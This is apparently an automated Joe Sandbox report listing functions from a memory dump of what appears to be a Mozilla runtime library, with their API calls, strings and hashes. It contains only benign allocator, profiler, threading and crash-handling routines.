Function 6C511530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C51159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C5115BC
moz_xmalloc.MOZGLUE(-00000001,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C5115E7
free.MOZGLUE(?,?,?,?,?,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C511606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C51152B,?,?,?,?,6C511248,?), ref: 6C511637

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 03d1e1570ea252f9513c7ce82e0c1cd4fbc52a0989694d08ef0075b7ad405000
Instruction ID: 82dbf5d7e61f870bcef09915165b2bceaca05ee039b9aa5ed2099136d39587e5
Opcode Fuzzy Hash: 03d1e1570ea252f9513c7ce82e0c1cd4fbc52a0989694d08ef0075b7ad405000
Instruction Fuzzy Hash: 6E31E472A081148BEB18DE78DC5846F73E9EB913647290BADE423DBFD4EB31D9048791

Function 6C56AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56AD9D

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56AE01
GetLastError.KERNEL32(?,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C57E330,?,6C52C059), ref: 6C56AE3D

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c3e3e8414c7dbef0da83deb2406d2f6d8a0b1e4bf4122abdcb4aafe6d23a4b0d
Instruction ID: 1fd9ec16cab5986a8be7ac8155df5635e5cdf8c72d4be2c4fa0d45890a721d5d
Opcode Fuzzy Hash: c3e3e8414c7dbef0da83deb2406d2f6d8a0b1e4bf4122abdcb4aafe6d23a4b0d
Instruction Fuzzy Hash: AF3132B1A012259FDB10DF768C44AABB7F8EF89614F554829E85AD7710E734EC44CBB0

Function 6C565EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C57DCA0,?,?,?,6C53E8B5,00000000), ref: 6C565F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C53E8B5,00000000), ref: 6C565F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C53E8B5,00000000), ref: 6C565F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C53E8B5,00000000), ref: 6C565F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C53E8B5,00000000), ref: 6C565FD6

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 753269cf597ea3ab87197b853cd75ece0baaaa37f690a3fac9c49c2c4d61614f
Instruction ID: c79982b25b0104a30ffaf31a7cc84ed4df265ddc45396cdc55412b2327ca6af6
Opcode Fuzzy Hash: 753269cf597ea3ab87197b853cd75ece0baaaa37f690a3fac9c49c2c4d61614f
Instruction Fuzzy Hash: D0314E743416009FD710DF2ACC98E2AB7F9FF89318BA54958E55687BA6C771EC41CB80

Function 6C50B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C50B532
moz_xmalloc.MOZGLUE(?), ref: 6C50B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C50B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C50B57E
free.MOZGLUE(00000000), ref: 6C50B58F

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: edad7a982fbc4a253be58e64734421b629898144fcfead188a5b76f06c7a5218
Instruction ID: 1aeff099bcd1577b324898608d2ec0ab5d8194333fce28b0443a0b40d41923c9
Opcode Fuzzy Hash: edad7a982fbc4a253be58e64734421b629898144fcfead188a5b76f06c7a5218
Instruction Fuzzy Hash: EB21F871B002059BDB00DF64CC80B6ABBB9FF86308F244169E814DB342F735D951C7A1

Function 6C50B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C50B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C50B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C50B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C50B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C50B849

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 84bf9b0dc1e9ff0e961cf828cf0e6beb30424fb59a06b07b1702cc5644c2cefb
Instruction ID: afcff8a3ee83d548380c138ad3bdfd5d635eed760f2caaeedd71b1ef5772e801
Opcode Fuzzy Hash: 84bf9b0dc1e9ff0e961cf828cf0e6beb30424fb59a06b07b1702cc5644c2cefb
Instruction Fuzzy Hash: AD2128B4E00219DFDF04DFA9D8855BEBBB4EF49214F148529EC05A7741E731A944CBA1

Function 6C566E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C566E78

Part of subcall function 6C566A10: InitializeCriticalSection.KERNEL32(6C58F618), ref: 6C566A68
Part of subcall function 6C566A10: GetCurrentProcess.KERNEL32 ref: 6C566A7D
Part of subcall function 6C566A10: GetCurrentProcess.KERNEL32 ref: 6C566AA1
Part of subcall function 6C566A10: EnterCriticalSection.KERNEL32(6C58F618), ref: 6C566AAE
Part of subcall function 6C566A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C566AE1
Part of subcall function 6C566A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C566B15
Part of subcall function 6C566A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C566B65
Part of subcall function 6C566A10: LeaveCriticalSection.KERNEL32(6C58F618,?,?), ref: 6C566B83

MozFormatCodeAddress.MOZGLUE ref: 6C566EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C566EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C566EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C566EFF

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: fb09f04a316b12078a0081fa2c3250203390d3038b9d37bd775c44623b0263b0
Instruction ID: 8d1b78e07a2eee2bf93f2675655504bc6001fe5cf6f3776fa938e971bcb5da2b
Opcode Fuzzy Hash: fb09f04a316b12078a0081fa2c3250203390d3038b9d37bd775c44623b0263b0
Instruction Fuzzy Hash: 4A21B071A0432A9FDB00DF69DC8469AB7F8EF85308F044039E84997350EB709A588F92

Function 6C540D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C503DEF), ref: 6C540D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C503DEF), ref: 6C540D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C503DEF), ref: 6C540DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C540D97, 6C540DBE
<jemalloc>, xrefs: 6C540D92, 6C540DB9

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 439f0d8d4cfbe2836330ed707d54055d40819ca1a11f5464557711cb02ca6cc2
Instruction ID: bb6092488ef1c7b37d8cc7719f4ecd8367f5d775d2b99be332b4a016a1495453
Opcode Fuzzy Hash: 439f0d8d4cfbe2836330ed707d54055d40819ca1a11f5464557711cb02ca6cc2
Instruction Fuzzy Hash: 58F080313812B423D62021655C06B57265DABD2B55F35C137F654DB9C4DB60E4044A99

Function 6C565850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C56586C
CloseHandle.KERNEL32 ref: 6C565878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C565898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5658C9
free.MOZGLUE(00000000), ref: 6C5658D3

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 409fe71241a2378c3bd396f8dcc8215a390158a71e125b2519f40a7ca738911f
Instruction ID: 227f7d4c90c73ec43108b377678dacf013472b7978dff040998466a35505767d
Opcode Fuzzy Hash: 409fe71241a2378c3bd396f8dcc8215a390158a71e125b2519f40a7ca738911f
Instruction Fuzzy Hash: C601A271702121ABDF00DF16DC086067BB8FB8B3287661335E019C2BA2D73198148F88

Function 6C557620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5575C4,?), ref: 6C55762B

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5574D7,6C5615FC,?,?,?), ref: 6C557644
GetCurrentThreadId.KERNEL32 ref: 6C55765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5574D7,6C5615FC,?,?,?), ref: 6C557663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5574D7,6C5615FC,?,?,?), ref: 6C557677

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ecbdb1928477221a38fd847914da05f0cde407173a829139ecf5e70d42c59329
Instruction ID: f955bd9eb5b970ca8d795e8933cf70b02dd987703c76a1d4b96446d597cd3ccd
Opcode Fuzzy Hash: ecbdb1928477221a38fd847914da05f0cde407173a829139ecf5e70d42c59329
Instruction Fuzzy Hash: 08F0FF71E10745AFE3009F21CC88A76B778FFEB258F126316F90442602E7B1A5D08BE0

Function 6C561700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C561800

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

Part of subcall function 6C504290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C543EBD,6C543EBD,00000000), ref: 6C5042A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C5618C7
Details, xrefs: 6C561925
name, xrefs: 6C561939

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 1d579f03abda0c8ceedd4e8f1ced1bc37baa0d7d1713f3fa5ffe47030cc8ba8e
Instruction ID: d8f02b08b95b5fafb285d5d9df24c122a8f6d64cb5eed8179a899e86a55ee44b
Opcode Fuzzy Hash: 1d579f03abda0c8ceedd4e8f1ced1bc37baa0d7d1713f3fa5ffe47030cc8ba8e
Instruction Fuzzy Hash: DC71E671A00356DFCB04DF29D8547AABBB1FF86304F444669D8154BB41DB70EA94CBE1

Function 6C52D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

EnterCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C53D1C5), ref: 6C52D4F2
LeaveCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C53D1C5), ref: 6C52D50B

Part of subcall function 6C50CFE0: EnterCriticalSection.KERNEL32(6C58E784), ref: 6C50CFF6
Part of subcall function 6C50CFE0: LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C50D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C53D1C5), ref: 6C52D52E
EnterCriticalSection.KERNEL32(6C58E7DC), ref: 6C52D690
LeaveCriticalSection.KERNEL32(6C58E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C53D1C5), ref: 6C52D751

Strings

MOZ_CRASH(), xrefs: 6C52D4BB

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b2385b91cb8d3752be2d6138d023ae502ce0846277d8e2c0ade974e4e60cea82
Instruction ID: a5a9f0e74814c7929a7dd1f9d16a5d5f1f2feeec30643c11d003e1ea1fdeaf52
Opcode Fuzzy Hash: b2385b91cb8d3752be2d6138d023ae502ce0846277d8e2c0ade974e4e60cea82
Instruction Fuzzy Hash: C4510171A057618FD714CF28C89471AB7F1EF8A304F658A2ED599C7B85E774E800CB92

Function 6C554630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C554721

Strings

., xrefs: 6C55476A
-%llu, xrefs: 6C554733
profiler-paused, xrefs: 6C5546E4

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 2ee8997ebb20ef2063f8d5303129814d9d9541b3bc4e4389155aa4f75a4280db
Instruction ID: bcbf5d4c661b65a2feac9eab04ba1351a1a9b2481c2f052d64cbdf7063fd34f2
Opcode Fuzzy Hash: 2ee8997ebb20ef2063f8d5303129814d9d9541b3bc4e4389155aa4f75a4280db
Instruction Fuzzy Hash: EF414571E046189FCB08DF78EC5119EBBE5EF85344F50873EE849ABB81EB3098648791

Function 6C579830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C57985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C57987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C5798DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C5798D9

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 8c415b3f4124b0e59251dfb76b34a162c0738790d82081000b0db3a9f1c13597
Instruction ID: 2cb8aedd3fcc112b5a60a764458aaf74eaea4316e737e44e5cba1c0f6e22cbca
Opcode Fuzzy Hash: 8c415b3f4124b0e59251dfb76b34a162c0738790d82081000b0db3a9f1c13597
Instruction Fuzzy Hash: 00313571A00128ABDF14AF58DC109EF77B9DF89314F50842DEA1A9BB40EB31AD048BE1

Function 6C5546E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C554721

Part of subcall function 6C504410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C543EBD,00000017,?,00000000,?,6C543EBD,?,?,6C5042D2), ref: 6C504444

Strings

., xrefs: 6C55476A
-%llu, xrefs: 6C554733
profiler-paused, xrefs: 6C5546E4

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 81e985e16935fb51167c4a2b6d4afaacb334e01db859523f0630a80f166f981c
Instruction ID: 48abac64f96ec960826564b2ff33f42570dd454ec1472c87951e667073fb50d4
Opcode Fuzzy Hash: 81e985e16935fb51167c4a2b6d4afaacb334e01db859523f0630a80f166f981c
Instruction Fuzzy Hash: 49312671F142189FCB08CF6CDC9129EBBE6DB89314F55863EE8099BB41EB7098158B90

Function 6C55B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C504290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C543EBD,6C543EBD,00000000), ref: 6C5042A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C55B127), ref: 6C55B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C55B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C55B4E4

Strings

pid:, xrefs: 6C55B4DE

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 5538d3ec9da3ec42ee7ceaef299eec73449005b1cce148fc7ff17e55fbbc43c2
Instruction ID: 230cb6c78e49d091ad3aa437723465d8da4d0263841ff201a182858044389a60
Opcode Fuzzy Hash: 5538d3ec9da3ec42ee7ceaef299eec73449005b1cce148fc7ff17e55fbbc43c2
Instruction Fuzzy Hash: 4A312731A01218DFDB10EFA9DC44AEEB7B6FF45308F94052AD81167B41E731A955CBE1

Function 6C51BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C567A3F), ref: 6C51BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C567A3F), ref: 6C51BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C567A3F), ref: 6C51BF7E

Strings

Wl, xrefs: 6C51BF84

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: Wl
API String ID: 4279176481-629350900
